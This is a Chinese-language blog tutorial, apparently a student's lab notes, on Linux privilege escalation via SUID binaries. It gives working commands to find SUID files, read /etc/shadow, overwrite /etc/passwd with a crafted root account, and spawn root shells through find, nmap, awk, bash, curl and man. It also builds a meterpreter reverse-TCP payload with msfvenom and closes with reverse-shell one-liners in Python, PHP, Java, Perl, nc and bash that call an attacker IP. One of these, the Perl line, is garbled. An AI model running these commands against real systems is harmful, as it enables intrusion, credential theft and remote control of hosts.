热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Linux提权之suid篇

Linux提权之suid篇不知攻,焉知防一个在安服路上摸索的大三生,记录平时学习笔记suid前言:1.只有可以执行的二进制程序文件才

Linux提权之suid篇

不知攻,焉知防
一个在安服路上摸索的大三生,记录平时学习笔记


suid前言:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效


实验环境:

kali攻击机
靶机账号 :muhammad 密码 : nasef


START:


靶机自带提权文件suid ---- 位于/home/muhammad/vuln/1 下


1)ls -al 查看文件是否可以执行

在这里插入图片描述

发现可以直接执行


2)执行得到一个交互式shell,通过使用id 及 whoami查看 是一个具有root权限的普通shell

在这里插入图片描述
Tip : uid为0代表超级管理员root 红帽企业RHEL <7.0 为0-499 > 8.0为0-1000 ;500-65535 或者1000-65535为普通用户


3)接下来可以通过反弹shell将该通道反弹给攻击机 — 本文最后介绍


其他suid提权

可供用来进行suid 提权的有find 、 nano 、 vim 、 awk 、 bash 、 less 、 nmap 、 more 、curl 、 cp 、man 、mv
通过三条命令可以查看当前可以具有suid权限的文件且拥有者为root
1)find / -perm -u=s -type f 2> /dev/null PS: /dev/null 是Linux中一个特殊的文件,理解为“黑洞”即可 (最好用,个人觉得)
2)find / -user root -perm -4000 -print 2> /dev/null
3)find / -user root -perm -4000 -exec ls -ldb {} ;
PS : -exec 选项要与 ‘;’ 相结合使用【-exec + command 、 ;为结束标志 、 \是转义 】; ’{}’ 代表前面所查找到的所有相关文件 //粗浅的自我认识 :-exec选项的作用就相当于一个管道:前面的输出作为后面的输入
在这里插入图片描述
Kip : 建议使用kali直连靶机,毕竟只是实验


(1)more 、vim 、 nano 、less 用法相似

以more为例子:
在这里插入图片描述
成功get到原本普通用户无法得到的信息,之后可以通过more /etc/shadow > 1.txt


(2)mv和cp用法一致: 覆盖/etc/shadow文件


1)通过scp命令从靶机上面下载 /etc/passwd

scp muhammad@192.168.169.140:/etc/shadow /root/Desktop


2)kali上通过OpenSSL进行密码编译 ,创建不存在账号。

openssl passwd -1 -salt magisec 123456
在这里插入图片描述
仿照muhammad账号创建:
在这里插入图片描述
其中各参数意思:
登录用户名 密码(x为安全考虑) 用户id(UID) 组ID(GID) 用户备注信息 用户家目录 用户的bash


3)想当然地继续通过scp将修改后的passwd文件替换结果发现没有权限在这里插入图片描述

能利用之前获得的root权限的sh界面进行开放http服务使用wget进行下载


4)wget http://192.169.141/passwd


5)cp命令覆盖/etc/passwd

cp passwd /etc/passwd


6)使用自己创建的账号登录,用id查看

在这里插入图片描述
发现提权成功


(3)find 提权


1)由于当前靶机没有find ,先赋予find suid权限

在这里插入图片描述


2)创建普通文件hquhqu,并输入命令 find hquhqu -exec whoami ; 发现用户变为root

在这里插入图片描述


(4)nmap 提权 :适用于版本2.02-5.21

PS :由于没有找到可以进行实验的nmap版本,纯理论讲一讲
介绍两个方法:


方法一:


1)通过nmap --interactive (或者 -i) 启动交互模式

2)!sh 执行之后得到一个提权后的shell

方法二:Metasploit exp exploit/unix/local/setuid_nmap

通过打开msf ,use 此模块后发现需要参数session 。接下来是获取session


1)木马制作

(1)通过msfvenom 制作linux木马

木马制作方法: msfvenom -l payloads | grep linux/x64/meterpreter ----- 查看可以反弹meterpreter的exp
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=本地IP lport=本机需要监听的端口 -a x64 --platform linux -f elf > 需要输出的文件名
在这里插入图片描述
制作成功!
通过scp test /home/muhammad 传到对应靶机目录 或者将该木马挂载到网站根目录,靶机再通过wget进行下载
-----------现实中是通过社工或者各种漏洞进行上传木马


(2)启动msf

service postgresql start —打开对应数据库
msfconsole —启动msf
在这里插入图片描述


(3)开始监听,得到session

Use exploit/multi/handler —使用监听模块
Set payload linux/x64/meterpreter/reverse_tcp —设置有效载荷,与木马制作时一致
Set lhost 、 lport — 设置IP和端口 : 也与木马制作时一致
Run / exploit
然后再通过靶机执行生成的木马,需要先赋予执行权限再 ./ 执行
在这里插入图片描述
在这里插入图片描述
得到session,然后background挂起之后再使用上面的模块进行攻击


(5)awk提权 :命令awk ‘BEGIN{system(“whoami”)}’

在这里插入图片描述
一通花里胡哨的操作,别问我为什么这么做,小白的世界你不懂
在这里插入图片描述再次确认是否存在该文件

在这里插入图片描述
提权成功 !


(6)Bash提权: bash -p

在这里插入图片描述


(7)Curl提权 : curl file:///etc/shadow

在这里插入图片描述


(8)man提权

在这里插入图片描述
修改完man后发现无论输入什么都会回到root用户,没明白为什么,想了一会,发现是从bash提权之后才发生的,修改bash回原来样子即可

在这里插入图片描述
虽然有个warning,但还是提权成功


存疑的一个提权:


su 【之前看到某些大佬将这一个列进去了,但自己未实现】

在这里插入图片描述
在这里插入图片描述
无法执行


反弹shell:


使用场景:

受控主机在网络内部,无法通过某些服务进行连接,该主机经常更换IP地址,导致没有办法对主机进行控制。可以使用反弹shell的操作,将主机的shell界面行反弹给攻击者,使攻击者拥有操控内网主机的权力。


python脚本反弹

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘攻击者ip’,监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”


php脚本反弹

php -r ‘exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")’
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’


java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()


perl脚本反弹

perl -e ‘use Socket;i="ip";i="ip";i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(p,inetaton(p,inet_aton(p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’


nc反弹

nc -t -e /bin/bash ip port


bash命令反弹

/bin/bash >& /dev/tcp/127.0.0.1/6789 0>&1


推荐阅读
  • 基于KVM的SRIOV直通配置及性能测试
    SRIOV介绍、VF直通配置,以及包转发率性能测试小慢哥的原创文章,欢迎转载目录?1.SRIOV介绍?2.环境说明?3.开启SRIOV?4.生成VF?5.VF ... [详细]
  • 全能终端工具推荐:高效、免费、易用
    介绍一款备受好评的全能型终端工具——MobaXterm,它不仅功能强大,而且完全免费,适合各类用户使用。 ... [详细]
  • 本文探讨了如何使用ls -lsh命令排除总大小输出,仅显示文件大小的方法,并提供了几种实现这一目标的解决方案。 ... [详细]
  • MySQL 数据库迁移指南:从本地到远程及磁盘间迁移
    本文详细介绍了如何在不同场景下进行 MySQL 数据库的迁移,包括从一个硬盘迁移到另一个硬盘、从一台计算机迁移到另一台计算机,以及解决迁移过程中可能遇到的问题。 ... [详细]
  • 深入探讨CPU虚拟化与KVM内存管理
    本文详细介绍了现代服务器架构中的CPU虚拟化技术,包括SMP、NUMA和MPP三种多处理器结构,并深入探讨了KVM的内存虚拟化机制。通过对比不同架构的特点和应用场景,帮助读者理解如何选择最适合的架构以优化性能。 ... [详细]
  • 深入解析 Apache Shiro 安全框架架构
    本文详细介绍了 Apache Shiro,一个强大且灵活的开源安全框架。Shiro 专注于简化身份验证、授权、会话管理和加密等复杂的安全操作,使开发者能够更轻松地保护应用程序。其核心目标是提供易于使用和理解的API,同时确保高度的安全性和灵活性。 ... [详细]
  • 本文介绍如何在现有网络中部署基于Linux系统的透明防火墙(网桥模式),以实现灵活的时间段控制、流量限制等功能。通过详细的步骤和配置说明,确保内部网络的安全性和稳定性。 ... [详细]
  • 本文介绍如何从JSON格式的文件中提取数据并将其分配给Bash脚本中的变量。我们将探讨具体的命令和工具,帮助你高效地完成这一任务。 ... [详细]
  • 探讨ChatGPT在法律和版权方面的潜在风险及影响,分析其作为内容创造工具的合法性和合规性。 ... [详细]
  • 解决MacOS Catalina升级后VMware Fusion黑屏问题的详细指南
    本文深入探讨了如何在MacOS Catalina升级后解决VMware Fusion黑屏的问题。通过详细的步骤和代码示例,帮助用户快速恢复虚拟机的正常运行,并提供了额外的安全建议。适用于希望提升工作效率或学习新技术的读者。 ... [详细]
  • 在服务器虚拟化领域,用户面临多种选择,尤其是来自同一供应商的不同产品。正确评估这些选项对于项目的成功至关重要。本文将深入探讨VMware提供的两款主要虚拟化平台——免费的VMware Server和付费的ESX Server之间的区别,旨在为决策提供专业指导。 ... [详细]
  • 本文介绍了在Linux系统中常用的文本操作命令,包括文件查看、搜索和重定向等基本操作。通过这些命令,用户可以高效地管理文件内容。 ... [详细]
  • Zabbix配置磁盘性能监控
    本文介绍了如何通过Zabbix监控系统中的磁盘性能,包括读写操作次数、活跃I/O时间等关键指标的设置与测试。 ... [详细]
  • PHP中去除换行符的多种方法及应用场景
    本文将详细介绍在PHP中去除换行符的各种方法,并结合实际应用场景进行说明。通过本文,您将了解如何根据不同操作系统的特点,选择最合适的换行符处理方式。 ... [详细]
  • Microsoft即将发布WPF/E的CTP(Community Technology Preview)和SDK,标志着RIA(Rich Internet Application)技术的新里程碑。更多详情及下载链接请参见MSDN官方页面。 ... [详细]
author-avatar
手机用户2702932960
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有